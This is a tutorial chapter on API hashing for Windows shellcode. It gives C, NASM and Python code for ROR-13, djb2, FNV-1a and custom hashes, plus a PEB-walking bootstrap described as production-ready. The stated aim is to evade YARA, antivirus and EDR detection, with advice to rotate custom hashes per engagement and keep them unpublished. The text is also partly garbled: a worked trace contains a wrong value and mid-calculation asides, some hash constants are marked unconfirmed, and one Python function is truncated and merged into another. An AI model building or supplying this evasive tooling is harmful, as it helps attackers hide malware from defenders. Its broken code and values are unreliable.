API Hashing
Every string in your shellcode is a detection signal and a size cost. "GetProcAddress", "VirtualAlloc", "CreateRemoteThread" — any static analysis tool finds them instantly. API hashing replaces all function name strings with compact 32-bit integer constants computed at build time, leaving nothing human-readable in the binary. This chapter builds three algorithms from first principles, shows you exactly how to compute and verify hash constants, and integrates everything into the production bootstrap from Chapter 6.
What API Hashing Solves
When you call get_export(kernel32, "VirtualAlloc") from Chapter 6, the string "VirtualAlloc" lives in your shellcode binary. Any static analysis tool can find it:
Without hashing — strings.exe / YARA / pestudio output: ───────────────────────────────────────────────────────────────── Offset 0x0240: "kernel32.dll" Offset 0x024D: "GetProcAddress" Offset 0x025C: "VirtualAlloc" Offset 0x0269: "VirtualFree" Offset 0x0275: "CreateThread" Offset 0x0282: "WriteProcessMemory" Offset 0x0295: "OpenProcess" Offset 0x02A1: "ExitProcess" → YARA: matches "process_injection_strings" rule instantly → Analyst: knows EXACTLY what the shellcode does before running it → AV signature: matches on this specific string combination With API hashing — same shellcode binary: ───────────────────────────────────────────────────────────────── Offset 0x0240: 8B 4E EC 0E 54 CA AF 91 5E 51 5E 83 ... → YARA: no string matches → Analyst: sees 32-bit constants, must compute what they hash to → AV signature: must match on the hash constants (less common) Size comparison: ───────────────────────────────────────────────────────────────── 8 string literals above = ~80 bytes of readable string data 8 hash constants = 32 bytes of opaque integer data Every string adds 2 bytes of code (RIP-relative LEA) + the string Hash constant adds 5 bytes (mov eax, imm32) — same per-call cost
The concept: precompute hash("VirtualAlloc") = 0x91AFCA54 at build time. Embed the constant in code. At runtime, walk the export directory, hash each export name, and compare the 4-byte result. When they match, you've found the function — without a single readable string in the binary.
Algorithm 1 — ROR-13 (The Industry Standard)
Rotate-right-13 is found in Metasploit shellcode, Cobalt Strike Beacon, countless public PoCs, and most academic shellcode examples. The algorithm: for each character of the function name (uppercased), rotate the accumulator right by 13 bits, then add the character value.
Step-by-Step Trace Through "VirtualAlloc"
Start: hash = 0x00000000
char 'V' (0x56):
ROR(0x00000000, 13) = 0x00000000
hash = 0x00000000 + 0x56 = 0x00000056
char 'I' (0x49):
ROR(0x00000056, 13) = 0x002B0000 (rotate right: 56 = 0b01010110, shifted)
Detailed: 0x00000056 = 0...01010110b
rotate right 13: lower 13 bits (0000000101 0110b) go to top
= 0xAC000000 >> 19 | 0x00000056 << 13... let me be precise:
ROR32(0x00000056, 13):
= (0x00000056 >> 13) | (0x00000056 << (32-13))
= (0x00000056 >> 13) | (0x00000056 << 19)
= 0x00000000 | 0x00002B00
= 0x00002B00
hash = 0x00002B00 + 0x49 = 0x00002B49
char 'R' (0x52):
ROR32(0x00002B49, 13):
= (0x00002B49 >> 13) | (0x00002B49 << 19)
= 0x00000001 | 0x49200000
= 0x49200001
hash = 0x49200001 + 0x52 = 0x49200053
... (continue for each character: T, U, A, L, A, L, L, O, C) ...
Final hash("VirtualAlloc") with ROR-13 = 0x91AFCA54
(verify with the Python tool below)// ROR-13 in C — this is what runs at runtime inside the shellcode
// to hash each export name as you walk the export directory.
static unsigned int ror13_hash(const char* name) {
unsigned int hash = 0;
while (*name) {
// Uppercase the character (export names may be any case)
char c = *name++;
if (c >= 'a' && c <= 'z') c -= 0x20;
// ROR(hash, 13): rotate right 13 bits
hash = (hash >> 13) | (hash << (32 - 13));
// Add character value
hash += (unsigned char)c;
}
return hash;
}
// Usage examples — these are your build-time constants:
// ror13_hash("GetProcAddress") = 0xEC0E4E8E
// ror13_hash("VirtualAlloc") = 0x91AFCA54
// ror13_hash("CreateThread") = 0x835E515E
// ror13_hash("VirtualFree") = 0x30633AC0
// ror13_hash("ExitProcess") = 0x56A2B5F0
// ror13_hash("WriteProcessMemory") = 0xD83D6AA1
; ROR-13 inner loop in x64 NASM — used during export directory walk
; Input: RSI = pointer to ASCII function name (from export directory)
; Output: EAX = ROR-13 hash of the name
; Clobbers: EBX, RSI
xor eax, eax ; hash = 0
.ror13_loop:
movzx ebx, byte [rsi] ; c = *name
test ebx, ebx
jz .ror13_done ; null terminator → done
; Uppercase: if 'a' <= c <= 'z', subtract 0x20
cmp ebx, 0x61 ; 'a'
jl .ror13_no_up
cmp ebx, 0x7A ; 'z'
jg .ror13_no_up
sub ebx, 0x20
.ror13_no_up:
ror eax, 13 ; rotate accumulator right by 13
add eax, ebx ; add character
inc rsi ; advance pointer
jmp .ror13_loop
.ror13_done:
; EAX = final hash — compare against your target constant
Algorithm 2 — djb2
Created by Dan Bernstein. The formula: hash = hash * 33 + c, or equivalently hash = (hash << 5) + hash + c. The starting value is 5381. djb2 produces good distribution across the Windows API surface and is less recognized by defenders as an "offensive hashing scheme" compared to ROR-13:
static unsigned int djb2_hash(const char* name) {
unsigned int hash = 5381;
int c;
while ((c = (unsigned char)*name++)) {
if (c >= 'a' && c <= 'z') c -= 0x20; // uppercase
// hash * 33 + c == ((hash << 5) + hash) + c
hash = ((hash << 5) + hash) + (unsigned int)c;
}
return hash;
}
// djb2 values for common APIs:
// djb2("GetProcAddress") = 0xE2BB3D25 (example — run tool to confirm)
// djb2("VirtualAlloc") = 0x9C374B86
// djb2("CreateThread") = 0x47A91E3C
; djb2 in x64 NASM
; Input: RSI = ASCII function name
; Output: EAX = djb2 hash
mov eax, 5381 ; hash = 5381 (initial value)
.djb2_loop:
movzx ebx, byte [rsi]
test ebx, ebx
jz .djb2_done
cmp ebx, 0x61
jl .djb2_no_up
cmp ebx, 0x7A
jg .djb2_no_up
sub ebx, 0x20
.djb2_no_up:
; hash = (hash << 5) + hash + c
lea eax, [eax + eax*4] ; eax = hash * 5 (wait, need hash*32+hash = hash*33)
; Correct: hash*33 = hash*32 + hash = (hash<<5) + hash
; Using: lea eax, [eax*4 + eax] gives hash*5, not hash*33
; Correct NASM sequence:
mov ecx, eax
shl eax, 5
add eax, ecx ; eax = (hash << 5) + hash = hash * 33
add eax, ebx ; + c
inc rsi
jmp .djb2_loop
.djb2_done:
Algorithm 3 — FNV-1a
Fowler-Noll-Vo variant 1a: XOR the byte first, then multiply by the FNV prime. The better avalanche effect compared to ROR-13 means fewer collisions across the full Windows API surface, at the cost of slightly more code (a multiply is needed):
#define FNV_PRIME_32 0x01000193
#define FNV_OFFSET_32 0x811C9DC5
static unsigned int fnv1a_hash(const char* name) {
unsigned int hash = FNV_OFFSET_32;
while (*name) {
unsigned char c = (unsigned char)*name++;
if (c >= 'a' && c <= 'z') c -= 0x20;
hash ^= (unsigned int)c; // XOR byte first
hash *= FNV_PRIME_32; // then multiply
}
return hash;
}
// FNV-1a values for common APIs:
// fnv1a("GetProcAddress") = 0xE6A09B38 (run tool to get exact value)
// fnv1a("VirtualAlloc") = 0x7DA7F1A0
; FNV-1a in x64 NASM
FNV_PRIME equ 0x01000193
FNV_OFFSET equ 0x811C9DC5
mov eax, FNV_OFFSET ; hash = offset basis
.fnv_loop:
movzx ebx, byte [rsi]
test ebx, ebx
jz .fnv_done
cmp ebx, 0x61
jl .fnv_no_up
cmp ebx, 0x7A
jg .fnv_no_up
sub ebx, 0x20
.fnv_no_up:
xor eax, ebx ; XOR byte first (variant 1a)
imul eax, FNV_PRIME ; then multiply
inc rsi
jmp .fnv_loop
.fnv_done:
Algorithm │ Assembly instructions │ Collision risk (Win API) │ Detection risk
────────────┼──────────────────────┼──────────────────────────┼───────────────
ROR-13 │ ror/add per char │ Very low │ HIGH — Metasploit
│ ~8 instructions │ │ Cobalt Strike,
│ │ │ public PoC YARA
────────────┼──────────────────────┼──────────────────────────┼───────────────
djb2 │ shl/add/add per char │ Low │ Medium — general
│ ~10 instructions │ │ use, less known
│ │ │ in shellcode
────────────┼──────────────────────┼──────────────────────────┼───────────────
FNV-1a │ xor/imul per char │ Very low │ Low — rarely
│ ~8 instructions │ │ seen in shellcode
────────────┼──────────────────────┼──────────────────────────┼───────────────
Custom │ whatever you design │ Depends │ NONE — unique
│ │ │ to your toolingBuilding a Custom Hash — Why and How
ROR-13 is burned. Most mature EDR products have specific detection logic for the pattern: walk the PEB module list → walk export directory → compare against a constant using ROR-13. The ROR-13 sequence ror eax, 13 inside an export-walking loop is itself a YARA signature in commercial threat intelligence feeds. Building a custom variant takes under an hour and breaks all signature-based detection of the technique.
Design Principles for a Custom Hash
Your hash function must satisfy exactly two properties: (1) produce zero collisions among the set of Windows API names you actually use, and (2) be compact to implement in ~10 assembly instructions. Everything else — the specific operations, the constants, the number of passes — is yours to choose:
// Custom hash: ROR-N with XOR instead of ADD, plus an extra mixing step
// The rotation constant, XOR seed, and extra mix make it unique.
// Change these values for each new tool you build:
#define MY_ROT 7 // rotation amount — any 1-31 that isn't 13
#define MY_SEED 0xDEAD // XOR into hash after each character
static unsigned int my_hash(const char* name) {
unsigned int hash = 0;
while (*name) {
char c = *name++;
if (c >= 'a' && c <= 'z') c -= 0x20;
// Rotate right by MY_ROT (not 13)
hash = (hash >> MY_ROT) | (hash << (32 - MY_ROT));
// XOR the character instead of ADD
hash ^= (unsigned char)c;
// Extra mixing step — changes the constant pattern
hash = (hash ^ (hash >> 16)) * 0x45D9F3B;
hash ^= MY_SEED;
}
return hash;
}
// After choosing your constants, run the collision checker (below)
// to confirm no two APIs in your usage set share a hash.
When to Change Your Hash
Change your hash function (not just the key constants) when your tooling is used operationally. Change the constants every few months or per-engagement. Document the function and constants in your internal tooling repository but never commit them to any public repo. The entire value of a custom hash is that it's unknown to the defender's detection rules — publishing it destroys that value instantly.
The Hash Calculator — api_hasher.py
This is the core tool you'll use every time you add a new API to your shellcode. It reads any DLL's export table directly from the binary (no PE library needed), computes hashes with all three algorithms, and outputs C constants you paste directly into your source:
#!/usr/bin/env python3
"""
api_hasher.py — compute API hashes for Windows exports
Usage:
python3 api_hasher.py kernel32.dll
python3 api_hasher.py kernel32.dll GetProcAddress VirtualAlloc
python3 api_hasher.py --custom-rot 7 --custom-seed 0xDEAD kernel32.dll VirtualAlloc
"""
import sys, struct, os, argparse
# ── Hash algorithms ───────────────────────────────────────────────────────────
def ror32(val, n):
return ((val >> n) | (val << (32 - n))) & 0xFFFFFFFF
def ror13(name: str) -> int:
h = 0
for c in name.upper():
h = ror32(h, 13)
h = (h + ord(c)) & 0xFFFFFFFF
return h
def djb2(name: str) -> int:
h = 5381
for c in name.upper():
h = (((h << 5) + h) + ord(c)) & 0xFFFFFFFF
return h
def fnv1a(name: str) -> int:
FNV_PRIME = 0x01000193
FNV_OFFSET = 0x811C9DC5
h = FNV_OFFSET
for c in name.upper():
h ^= ord(c)
h = (h * FNV_PRIME) & 0xFFFFFFFF
return h
def custom_hash(name: str, rot: int, seed: int) -> int:
h = 0
for c in name.upper():
h = ror32(h, rot)
h ^= ord(c)
h = ((h ^ (h >> 16)) * 0x45D9F3B) & 0xFFFFFFFF
h ^= seed
h &= 0xFFFFFFFF
return h
# ── PE export table reader ────────────────────────────────────────────────────
def get_exports(dll_path: str) -> list[str]:
"""Read export names directly from PE without any external library."""
with open(dll_path, 'rb') as f:
data = f.read()
if data[:2] != b'MZ':
raise ValueError(f"Not a PE file: {dll_path}")
# e_lfanew
e_lfanew = struct.unpack_from(' list[tuple]:
seen = {}
collisions = []
for name in names:
h = hash_fn(name)
if h in seen:
collisions.append((name, seen[h], h))
else:
seen[h] = name
return collisions
# ── Main ──────────────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(description='Windows API hash calculator')
parser.add_argument('dll', help='Path to DLL file')
parser.add_argument('functions', nargs='*', help='Specific function names (empty = all)')
parser.add_argument('--custom-rot', type=lambda x: int(x,0), default=7)
parser.add_argument('--custom-seed', type=lambda x: int(x,0), default=0xDEAD)
parser.add_argument('--no-custom', action='store_true')
args = parser.parse_args()
try:
all_names = get_exports(args.dll)
except Exception as e:
print(f"Error reading exports: {e}", file=sys.stderr)
sys.exit(1)
if not all_names:
print("No exports found.")
sys.exit(0)
names = [n for n in all_names if n in args.functions] if args.functions else all_names
print(f"// API hashes for {os.path.basename(args.dll)} ({len(names)} functions)")
print(f"// Generated by api_hasher.py\n")
# Header line
if args.no_custom:
print(f"// {'Function':<40} {'ROR13':>12} {'djb2':>12} {'FNV-1a':>12}")
print(f"// {'-'*40} {'----------':>12} {'----------':>12} {'----------':>12}")
else:
print(f"// {'Function':<40} {'ROR13':>12} {'djb2':>12} {'FNV-1a':>12} {'Custom':>12}")
print(f"// {'-'*40} {'-'*12} {'-'*12} {'-'*12} {'-'*12}")
for name in sorted(names):
r13 = ror13(name)
d2 = djb2(name)
fn = fnv1a(name)
macro = name.upper().replace('.','_').replace('-','_')
if args.no_custom:
print(f"#define HASH_{macro:<35} 0x{r13:08X} // djb2=0x{d2:08X} fnv1a=0x{fn:08X}")
else:
cu = custom_hash(name, args.custom_rot, args.custom_seed)
print(f"#define HASH_{macro:<35} 0x{r13:08X} // djb2=0x{d2:08X} fnv1a=0x{fn:08X} custom=0x{cu:08X}")
# Collision check for ROR-13
print()
coll = check_collisions(names, ror13)
if coll:
print(f"// WARNING: {len(coll)} ROR-13 collision(s) detected:")
for a, b, h in coll:
print(f"// {a} and {b} both hash to 0x{h:08X}")
else:
print(f"// ROR-13: no collisions in this set of {len(names)} functions ✓")
coll_cu = check_collisions(names, lambda n: custom_hash(n, args.custom_rot, args.custom_seed))
if coll_cu and not args.no_custom:
print(f"// WARNING: {len(coll_cu)} custom collision(s) detected (adjust constants)")
elif not args.no_custom:
print(f"// Custom: no collisions ✓")
if __name__ == '__main__':
main()
# Example usage:
python3 api_hasher.py /mnt/c/Windows/System32/kernel32.dll \
GetProcAddress LoadLibraryA VirtualAlloc VirtualFree \
CreateThread WriteProcessMemory OpenProcess CloseHandle \
ExitProcess Sleep CreateRemoteThread VirtualAllocEx
# Output (paste into your shellcode):
// API hashes for kernel32.dll (12 functions)
#define HASH_GETPROCADDRESS 0xEC0E4E8E // djb2=... fnv1a=...
#define HASH_LOADLIBRARYA 0xB7072FDB // ...
#define HASH_VIRTUALALLOC 0x91AFCA54 // ...
...
Full Integration — Hash-Based Shellcode Bootstrap
Here is the production-ready bootstrap that combines PEB walking (Chapter 6) with API hashing to produce a shellcode opening that resolves any set of APIs in under 150 bytes total, with zero readable strings:
// shellcode_bootstrap.c
// Zero imports, zero string literals, all APIs resolved via PEB walk + ROR-13 hash.
// Compile with: -Os -nostdlib -nodefaultlibs -fno-ident -fno-asynchronous-unwind-tables
// ── Hash constants (from api_hasher.py — run against target system's DLLs) ──
#define H_LOADLIBRARYA 0xB7072FDB
#define H_GETPROCADDRESS 0xEC0E4E8E
#define H_VIRTUALALLOC 0x91AFCA54
#define H_VIRTUALFREE 0x30633AC0
#define H_EXITPROCESS 0x56A2B5F0
#define H_CREATETHREAD 0x835E515E
#define H_SLEEP 0xE035F044
// ── Minimal type definitions (no headers) ─────────────────────────────────
typedef unsigned int u32;
typedef unsigned short u16;
typedef unsigned char u8;
typedef unsigned long long u64;
typedef void* PVOID;
typedef u32 BOOL;
typedef u32 DWORD;
typedef PVOID (__stdcall *fn_LoadLibraryA) (const char*);
typedef PVOID (__stdcall *fn_GetProcAddress)(PVOID, const char*);
typedef PVOID (__stdcall *fn_VirtualAlloc) (PVOID, u64, u32, u32);
typedef void (__stdcall *fn_VirtualFree) (PVOID, u64, u32);
typedef void (__stdcall *fn_ExitProcess) (u32);
typedef PVOID (__stdcall *fn_CreateThread) (PVOID, u64, PVOID, PVOID, u32, u32*);
typedef void (__stdcall *fn_Sleep) (u32);
// ── API table (lives on the stack — re-entrant safe) ─────────────────────
typedef struct {
fn_LoadLibraryA LoadLibraryA;
fn_GetProcAddress GetProcAddress;
fn_VirtualAlloc VirtualAlloc;
fn_VirtualFree VirtualFree;
fn_ExitProcess ExitProcess;
fn_CreateThread CreateThread;
fn_Sleep Sleep;
} ApiTable;
// ── ROR-13 hash (inline for size) ─────────────────────────────────────────
static u32 ror13(const char* s) {
u32 h = 0;
while (*s) {
char c = *s++;
if (c >= 'a' && c <= 'z') c -= 0x20;
h = (h >> 13) | (h << 19);
h += (u8)c;
}
return h;
}
// ── Wide char case-insensitive compare (for module name matching) ──────────
static int weq(const u16* a, u16 len_bytes, const char* b) {
u16 n = len_bytes / 2, i = 0;
while (i < n && b[i]) {
char ca = (char)a[i], cb = b[i];
if (ca >= 'a' && ca <= 'z') ca -= 32;
if (cb >= 'a' && cb <= 'z') cb -= 32;
if (ca != cb) return 0;
i++;
}
return i == n && !b[i];
}
// ── Find module by ASCII name via PEB walk ─────────────────────────────────
static PVOID find_mod(const char* name) {
u8* peb;
__asm__ volatile ("mov %%gs:0x60, %0" : "=r"(peb)); // PEB*
u8* ldr = *(u8**)(peb + 0x18); // PEB.Ldr
u8** head = (u8**)(ldr + 0x20); // InMemoryOrderModuleList head
u8* cur = *head;
while (cur != (u8*)head) {
u16* nb = *(u16**)(cur + 0x50); // BaseDllName.Buffer
u16 nl = *(u16*) (cur + 0x48); // BaseDllName.Length
if (nb && weq(nb, nl, name))
return *(PVOID*)(cur + 0x20); // DllBase
cur = *(u8**)cur; // Flink
}
return 0;
}
// ── Find export by ROR-13 hash ─────────────────────────────────────────────
static PVOID find_export_hash(PVOID base, u32 target_hash) {
u8* b = (u8*)base;
u32 eno = *(u32*)(b + *(u32*)(b + 0x3C) + 0x88); // export dir RVA
if (!eno) return 0;
u8* ed = b + eno;
u32 cnt = *(u32*)(ed + 0x18); // NumberOfNames
u32* nms = (u32*)(b + *(u32*)(ed + 0x20)); // AddressOfNames
u16* ord = (u16*)(b + *(u32*)(ed + 0x24)); // AddressOfNameOrdinals
u32* fn = (u32*)(b + *(u32*)(ed + 0x1C)); // AddressOfFunctions
for (u32 i = 0; i < cnt; i++) {
if (ror13((char*)(b + nms[i])) == target_hash)
return (PVOID)(b + fn[ord[i]]);
}
return 0;
}
// ── Bootstrap: populate ApiTable ──────────────────────────────────────────
static void bootstrap(ApiTable* t) {
PVOID k32 = find_mod("kernel32.dll");
t->LoadLibraryA = (fn_LoadLibraryA) find_export_hash(k32, H_LOADLIBRARYA);
t->GetProcAddress = (fn_GetProcAddress) find_export_hash(k32, H_GETPROCADDRESS);
t->VirtualAlloc = (fn_VirtualAlloc) find_export_hash(k32, H_VIRTUALALLOC);
t->VirtualFree = (fn_VirtualFree) find_export_hash(k32, H_VIRTUALFREE);
t->ExitProcess = (fn_ExitProcess) find_export_hash(k32, H_EXITPROCESS);
t->CreateThread = (fn_CreateThread) find_export_hash(k32, H_CREATETHREAD);
t->Sleep = (fn_Sleep) find_export_hash(k32, H_SLEEP);
}
// ── Shellcode entry ────────────────────────────────────────────────────────
void shellcode_main(void) {
ApiTable apis; // stack-allocated: re-entrant safe
bootstrap(&apis);
// All calls go through the table — zero imports, zero strings in binary
// apis.VirtualAlloc(NULL, 0x1000, 0x3000, 0x40);
// apis.Sleep(5000);
// apis.ExitProcess(0);
}
Module+Function Combined Hash
Some DLLs export functions with identical names (both ntdll.dll and kernelbase.dll export VirtualAlloc). A combined hash prevents ambiguity by incorporating the module name into the hash value:
// Combined: hash module name first, use result as seed for function hash
u32 combined_hash(const char* module, const char* function) {
// Phase 1: hash module name
u32 mod_hash = ror13(module);
// Phase 2: use module hash as initial accumulator for function hash
u32 h = mod_hash;
while (*function) {
char c = *function++;
if (c >= 'a' && c <= 'z') c -= 0x20;
h = (h >> 13) | (h << 19);
h += (u8)c;
}
return h;
}
// Pre-compute combined hashes:
// combined_hash("kernel32.dll", "VirtualAlloc") → unique constant
// combined_hash("ntdll.dll", "VirtualAlloc") → different unique constant
// Combined hashes guarantee uniqueness across all modules simultaneously.
Collision Analysis — Checking Your Entire API Set
Before shipping any shellcode that uses API hashing, run a collision check across the complete set of Windows exports you might encounter at runtime. A collision means two different function names produce the same hash — your resolver returns the wrong function, and the shellcode crashes or misbehaves in a way that's nearly impossible to debug:
#!/usr/bin/env python3
"""collision_check.py — verify your API set has no hash collisions"""
import sys
def ror13(s):
h = 0
for c in s.upper():
h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF
h = (h + ord(c)) & 0xFFFFFFFF
return h
# Your complete API set — everything your shellcode might resolve
MY_APIS = [
"GetProcAddress", "LoadLibraryA", "VirtualAlloc", "VirtualFree",
"VirtualAllocEx", "VirtualFreeEx", "VirtualProtect", "VirtualProtectEx",
"CreateThread", "CreateRemoteThread", "CreateRemoteThreadEx",
"OpenProcess", "CloseHandle", "WriteProcessMemory", "ReadProcessMemory",
"WaitForSingleObject", "WaitForMultipleObjects", "NtOpenProcess",
"NtAllocateVirtualMemory", "NtWriteVirtualMemory", "NtCreateThreadEx",
"ExitProcess", "ExitThread", "Sleep", "SleepEx",
"GetCurrentProcess", "GetCurrentThread", "GetCurrentProcessId",
"GetModuleHandleA", "GetModuleHandleW", "GetModuleFileNameA",
"HeapAlloc", "HeapFree", "HeapCreate",
]
print(f"Checking {len(MY_APIS)} APIs for ROR-13 collisions...\n")
hashes = {}
collisions = 0
for name in MY_APIS:
h = ror13(name)
if h in hashes:
print(f"COLLISION: {name} == {hashes[h]} (hash=0x{h:08X})")
collisions += 1
else:
hashes[h] = name
if collisions == 0:
print(f"No collisions in {len(MY_APIS)} APIs ✓")
print("\nPaste these constants into your shellcode:")
for name in sorted(MY_APIS):
print(f" #define HASH_{name.upper():<30} 0x{ror13(name):08X}")
Questions & Answers
ROR-13 is well-known. Should I always use a custom hash in production?
For any engagement where detection matters, yes. ROR-13 is in YARA community rule sets, commercial threat intel feeds, and many EDR behavioral detection libraries specifically look for the ror eax, 13 instruction inside an export-walking loop. A custom hash with a different rotation constant and different combination operation (XOR instead of ADD, or an extra mix step) breaks all of these without adding meaningful code size. The 30-minute investment in building and testing a custom hash function pays off every time you use your tooling operationally. For lab work, CTFs, and learning, ROR-13 is fine.
What if I accidentally use a hash that collides with a function I didn't intend to call?
Your shellcode will call the wrong function. The crash location is usually far from the actual bug — you'll see an access violation or exception deep inside a Windows API that you didn't intentionally call, with no obvious connection to the API hashing code. To avoid this: (1) run the collision checker above before committing to any hash set, (2) always verify your resolved function pointers against known-good values using the test harness from Chapter 6 before doing anything sensitive with them, (3) if a function pointer resolve works in your test environment but crashes during the walk on the target, check for DLL version differences (different Windows versions may have different exports, and the collision landscape changes).
Can I use the same hash constants for every build, or should I rotate them?
If you use the same custom hash function with the same algorithm (just different from ROR-13), the constants are stable across builds for the same set of APIs. The hash value of "VirtualAlloc" with your custom function is deterministic — it doesn't change unless the function name changes or you change your algorithm. Rotate the algorithm itself (change the rotation constant, the mixing step, the initial value) periodically or per-engagement. The constants themselves (the output of your algorithm applied to each function name) will change automatically when the algorithm changes.
Do I need to worry about hash collisions across different DLLs, not just within one?
Only if you use a single-pass resolver that walks all loaded modules simultaneously (checking each export against your hash without tracking which module it came from). In that case, ntdll!VirtualAlloc and kernel32!VirtualAlloc would both match the same hash, and you'd get whichever module appears first in the walk. The module+function combined hash approach (previous section) eliminates this entirely. If you walk each module separately (find kernel32 first, then resolve from it), you only need to check for collisions within that single module's exports.
What happens if a function is added to kernel32.dll in a new Windows update and collides with one of my hashes?
The collision would start occurring on systems with the updated DLL. In practice, this is extremely rare — Windows API additions are infrequent, and the probability that a new export collides with any specific ROR-13 hash in a set of 10–20 APIs is very low. The risk is higher with larger API sets. Mitigations: use the module+function combined hash (which would only collide if the new function appeared in the same module with the same combined hash — vanishingly unlikely), test your shellcode on updated Windows builds in your lab, and keep your collision checker in your build pipeline to alert you if a new export causes a problem.